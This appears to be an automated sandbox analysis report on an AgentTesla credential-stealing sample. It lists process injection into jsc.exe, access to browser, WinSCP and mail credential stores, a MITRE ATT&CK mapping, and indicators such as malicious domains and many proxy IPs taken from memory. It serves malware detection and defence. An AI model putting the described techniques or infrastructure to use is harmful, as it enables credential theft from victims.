Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: E7B008	Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Queries volume information: C:\Users\user\Desktop\Your file name without extension goes here.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 5.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 39268, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 5.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 39268, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 5.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 39268, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	261 Virtualization/Sandbox Evasion	1 Credentials in Registry	541 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	261 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	34 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Your file name without extension goes here.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.Znyonm
Your file name without extension goes here.exe	100%	Avira	TR/Redcap.cdsry
Your file name without extension goes here.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://5.9.154.177	0%	Avira URL Cloud	safe
http://172.67.255.224://proxy	0%	Avira URL Cloud	safe
http://125.25.40.3	0%	Avira URL Cloud	safe
http://64.124.191.98:32688	0%	Avira URL Cloud	safe
http://127.0.0.7:80	0%	Avira URL Cloud	safe
http://162.241.79.22:50207://proxy	0%	Avira URL Cloud	safe
http://161.97.173.78:49145://proxy	0%	Avira URL Cloud	safe
http://103.56.206.65:4996://proxy	0%	Avira URL Cloud	safe
http://50.145.6.36	0%	Avira URL Cloud	safe
http://5.58.33.187:55507	0%	Avira URL Cloud	safe
http://107.180.95.177:63951://proxy	0%	Avira URL Cloud	safe
http://123.59.100.243:1080://proxy	0%	Avira URL Cloud	safe
http://50.145.6.38	0%	Avira URL Cloud	safe
http://5.39.19.154:33427://proxy	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	0%	Avira URL Cloud	safe
http://50.145.6.32	0%	Avira URL Cloud	safe
http://168.194.226.178:4153	0%	Avira URL Cloud	safe
http://50.169.135.10:80	0%	Avira URL Cloud	safe
http://103.28.121.58:3128://proxy	0%	Avira URL Cloud	safe
http://46.101.19.131://proxy	0%	Avira URL Cloud	safe
http://113.160.16.142:5678://proxy	0%	Avira URL Cloud	safe
http://201.77.108.64:999	0%	Avira URL Cloud	safe
http://207.180.234.220:39737	0%	Avira URL Cloud	safe
http://150.230.207.167:80	0%	Avira URL Cloud	safe
http://8.210.158.189:9061://proxy	0%	Avira URL Cloud	safe
http://212.220.13.98:4153://proxy	0%	Avira URL Cloud	safe
http://102.216.69.176:8080://proxy	0%	Avira URL Cloud	safe
http://67.43.236.20:5881://proxy	0%	Avira URL Cloud	safe
http://104.20.103.68://proxy	0%	Avira URL Cloud	safe
http://162.55.87.48:5566	0%	Avira URL Cloud	safe
http://210.72.11.46:8080://proxy	0%	Avira URL Cloud	safe
http://201.54.176.13:8080://proxy	0%	Avira URL Cloud	safe
http://103.90.227.244:3128	0%	Avira URL Cloud	safe
http://109.86.182.203:3128://proxy	0%	Avira URL Cloud	safe
http://47.243.138.23:8888://proxy	0%	Avira URL Cloud	safe
http://85.25.93.172:5566://proxy	0%	Avira URL Cloud	safe
http://72.10.160.170:5385://proxy	0%	Avira URL Cloud	safe
http://188.166.252.135:8080://proxy	0%	Avira URL Cloud	safe
http://209.240.50.	0%	Avira URL Cloud	safe
http://46.21.153.16:3128://proxy	0%	Avira URL Cloud	safe
http://13.234.24.116:3128	0%	Avira URL Cloud	safe
http://149.126.101.162:8080://proxy	0%	Avira URL Cloud	safe
http://103.216.51.36:32650	0%	Avira URL Cloud	safe
http://188.132.222.194:8080://proxy	0%	Avira URL Cloud	safe
http://202.6.233.59:7878://proxy	0%	Avira URL Cloud	safe
http://107.180.90.88:20309	0%	Avira URL Cloud	safe
http://184.178.172.14:4145://proxy	0%	Avira URL Cloud	safe
http://177.85.205.173:3629://proxy	0%	Avira URL Cloud	safe
http://45.117.179.179:18701://proxy	0%	Avira URL Cloud	safe
http://14.241.182.44:5678	0%	Avira URL Cloud	safe
http://103.29.90.66:32650	0%	Avira URL Cloud	safe
http://102.69.177.242:10081	0%	Avira URL Cloud	safe
http://31.170.17.141:4153://proxy	0%	Avira URL Cloud	safe
http://62.99.138.162://proxy	0%	Avira URL Cloud	safe
http://104.19.235.10	0%	Avira URL Cloud	safe
http://183.88.184.48:8080	0%	Avira URL Cloud	safe
http://111.59.4.88:9002://proxy	0%	Avira URL Cloud	safe
http://180.254.191.56:8080	0%	Avira URL Cloud	safe
http://86.107.178.103:3128://proxy	0%	Avira URL Cloud	safe
http://174.64.199.82:4145://proxy	0%	Avira URL Cloud	safe
http://88.255.102.40:1080://proxy	0%	Avira URL Cloud	safe
http://177.159.145.26:4153://proxy	0%	Avira URL Cloud	safe
http://31.43.179.160:80	0%	Avira URL Cloud	safe
http://211.234.125.5:443	0%	Avira URL Cloud	safe
http://43.133.10.165:3128://proxyH	0%	Avira URL Cloud	safe
http://3.73.120.104:3128://proxy	0%	Avira URL Cloud	safe
http://46.227.37.21:1088P	0%	Avira URL Cloud	safe
http://157.230.226.230:1202://proxy	0%	Avira URL Cloud	safe
http://50.169.23.170:80	0%	Avira URL Cloud	safe
http://161.97.173.42:50386://proxy	0%	Avira URL Cloud	safe
http://103.234.24.105:8880	0%	Avira URL Cloud	safe
http://141.95.160.178:5870	0%	Avira URL Cloud	safe
http://104.17.166.210:80	0%	Avira URL Cloud	safe
http://144.24.77.9	0%	Avira URL Cloud	safe
http://96.113.158.126://proxy	0%	Avira URL Cloud	safe
http://169.57.157.146:8123	0%	Avira URL Cloud	safe
http://47.91.65.23:3128	0%	Avira URL Cloud	safe
http://144.91.106.93:3128	0%	Avira URL Cloud	safe
http://162.241.6.97:45629://proxy	0%	Avira URL Cloud	safe
http://195.231.72.187:1080://proxy	0%	Avira URL Cloud	safe
http://125.107.149.245:5555	0%	Avira URL Cloud	safe
http://84.241.8.234:8080	0%	Avira URL Cloud	safe
http://104.16.109.143	0%	Avira URL Cloud	safe
http://45.174.87.18:999://proxy	0%	Avira URL Cloud	safe
http://162.214.170.144:31701	0%	Avira URL Cloud	safe
http://5.135.83.214:80	0%	Avira URL Cloud	safe
http://176.106.22.125:8080://proxy	0%	Avira URL Cloud	safe
http://31.7.65.18:443://proxy	0%	Avira URL Cloud	safe
http://50.231.110.26://proxy	0%	Avira URL Cloud	safe
http://193.30.13.18:999	0%	Avira URL Cloud	safe
http://185.49.31.207:8081://proxy	0%	Avira URL Cloud	safe
http://45.234.100.102:1080	0%	Avira URL Cloud	safe
http://209.250.248.127:45534://proxy	0%	Avira URL Cloud	safe
http://157.230.8.196:7497	0%	Avira URL Cloud	safe
http://208.109.14.49:50540	0%	Avira URL Cloud	safe
http://35.207.123.94://proxy	0%	Avira URL Cloud	safe
http://79.7.101.98:5678://proxy	0%	Avira URL Cloud	safe
http://103.227.186.13:8080://proxy	0%	Avira URL Cloud	safe
http://103.172.42.121:8080://proxy	0%	Avira URL Cloud	safe
http://45.190.78.50:999	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ktxcomay.com.vn	222.255.238.159	true	false	unknown
github.com	140.82.114.3	true	false	high
ip-api.com	208.95.112.1	true	false	high
heygirlisheeverythingyouwantedinaman.com	172.67.190.93	true	true	unknown
mail.supplyvan.xyz	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://5.9.154.177	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://125.25.40.3	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.58.33.187:55507	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://64.124.191.98:32688	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54DFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.78:49145://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.56.206.65:4996://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://127.0.0.7:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54355000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.145.6.36	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.241.79.22:50207://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://172.67.255.224://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.212.48.80:8080	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.145.6.38	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.39.19.154:33427://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://123.59.100.243:1080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.180.95.177:63951://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://168.194.226.178:4153	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.101.19.131://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.145.6.32	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50982000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.58:3128://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://50.169.135.10:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://113.160.16.142:5678://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://201.77.108.64:999	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.236.20:5881://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://212.220.13.98:4153://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50805000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://207.180.234.220:39737	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5305C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.210.158.189:9061://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://102.216.69.176:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://150.230.207.167:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB542CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.20.103.68://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50DBD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.55.87.48:5566	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://210.72.11.46:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB513BC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.90.227.244:3128	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://201.54.176.13:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54355000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://109.86.182.203:3128://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.170:5385://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50982000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://47.243.138.23:8888://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://85.25.93.172:5566://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50BDB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.166.252.135:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://209.240.50.	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://13.234.24.116:3128	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.21.153.16:3128://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.216.51.36:32650	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54C99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.126.101.162:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.132.222.194:8080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50B58000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://202.6.233.59:7878://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.180.90.88:20309	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51106000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.14:4145://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://102.69.177.242:10081	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54514000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://14.241.182.44:5678	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527F7000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://177.85.205.173:3629://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB533B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.117.179.179:18701://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.29.90.66:32650	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://183.88.184.48:8080	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.170.17.141:4153://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB54DFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://62.99.138.162://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51370000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.19.235.10	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://111.59.4.88:9002://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB515F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://180.254.191.56:8080	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp, Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://86.107.178.103:3128://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://88.255.102.40:1080://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50BDB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://31.43.179.160:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51B9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://174.64.199.82:4145://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB51293000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://177.159.145.26:4153://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://211.234.125.5:443	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB533B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://43.133.10.165:3128://proxyH	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53C3D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://46.227.37.21:1088P	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://3.73.120.104:3128://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB527FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://157.230.226.230:1202://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50982000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://50.169.23.170:80	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB53F5A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.42:50386://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB50EBC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://96.113.158.126://proxy	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB5488A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.234.24.105:8880	Your file name without extension goes here.exe, 00000001.00000002.2781138875.000001DB531EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
